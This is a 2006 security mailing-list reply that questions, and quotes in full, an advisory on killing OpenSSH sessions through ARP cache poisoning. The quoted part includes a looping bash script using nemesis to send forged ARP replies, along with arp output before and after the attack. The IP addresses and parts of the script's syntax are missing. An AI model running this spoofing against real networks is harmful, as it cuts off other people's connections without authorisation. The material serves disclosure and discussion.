Correct me if I'm wrong, but isn't this just a trivial ARP poisoning?
If you poison an ARP table anything that happens on upper layers of
the stack (IP communications, as you are saying you poisoned) will be

How were the machines connected? Using a ethernet hub or a switch?

I don't see that as been a effective attack, actually.

On 9 May 2006 10:48:18 -0000, king_purba@xxxxxxxxxxx
<king_purba@xxxxxxxxxxx> wrote:
Author : Ph03n1X
Email : king_purba@xxxxxxxxxxx
Site :
Severity : Moderate


We know that tcp connection will close by sending RST flag.
I try to connect to my openssh server on
slackware 10 from my computer fedora core 4. Then using an
openbsd 3.7, that had same network with slackware n fedora,
try to overwrite ARP cache on my fedora core 4. After arp
cache has been overwriten, all packet from fedora core 4
to slackware 10 is ignored. May be this problem is not only
on ssh but on other tcp protocol.

Exploitation :

1. OpenSSH on slackware has IP and MAC 00:80:48:EB:50:F2
2. Client using Fedora has IP and MAC 00:00:21:27:12:1F
3. Attacker using OpenBSD has IP and MAC 00:c0:26:6f:3a:1a
4. Now, login ssh from to

Before exploitation you can use shell command on
as you wish and also you can manage from

5. ARP cache on before overwriting

fc4-$arp -na
? ( at 00:80:48:EB:50:F2 [ether] on eth0
? ( at 00:11:BB:74:DA:00 [ether] on eth0

6. Overwriting ARP cache on from using nemesis and simple bash script

if [ -z "$5" ]
# Script ini akan mengatakan bahwa IP server ada di MAC xxxx
# Sehingga client tidak menghubungi server melainkan xxxx

echo "Usage : $0 <interface attacker> <ip server ssh> <ip client> <valid MAC address/up to u> <MAC client>"

while true
nemesis arp -v -r -d $1 -S $2 -D $3 -h $4 -m $5 -H $4 -M $5
sleep 2;

openbsd-$./ rl0 00:c0:26:6f:3a:00 00:00:21:27:12:1f

7. Now check ARP cache on after overwriting

fc4-$arp -na
? ( at 00:C0:26:6F:3A:00 [ether] on eth0 <-- ARP cache has been overwriten
? ( at 00:11:BB:74:DA:00 [ether] on eth0

8. Now, back to ssh connection on from Type, any character on ssh console, yep no data connection, you cannot do anything on ssh console because ssh connection has been ignored but not closed.

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